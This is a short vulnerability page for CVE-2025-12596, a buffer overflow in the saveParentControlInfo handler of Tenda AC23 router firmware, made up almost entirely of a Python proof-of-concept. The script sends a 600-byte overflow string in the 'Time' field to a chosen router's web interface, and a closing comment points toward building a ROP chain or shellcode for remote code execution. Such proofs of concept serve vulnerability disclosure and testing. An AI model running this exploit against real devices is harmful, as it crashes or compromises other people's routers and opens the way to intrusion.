CVE-2025-12596: Tenda AC23 saveParentControlInfo缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-12596 PoC - Tenda AC23 Buffer Overflow in saveParentControlInfo # Target: Tenda AC23 Firmware 16.03.07.52 import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' target_port = 80 url = f'http://{target_ip}:{target_port}/goform/saveParentControlInfo' # Buffer overflow payload - 600 bytes for overflowing the buffer # Pattern to overwrite return address (adjust based on actual offset) overflow_length = 600 malicious_time = 'A' * overflow_length # Construct the exploit payload payload = { 'Time': malicious_time, 'page': '1', 'save': '1' } print(f'[*] Sending exploit payload to {url}') print(f'[*] Payload length: {len(malicious_time)} bytes') try: response = requests.post(url, data=payload, timeout=10) print(f'[+] Request sent successfully') print(f'[*] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') # Note: This PoC demonstrates the vulnerability. For actual exploitation, # you would need to determine the exact offset and craft a ROP chain # or shellcode to achieve remote code execution.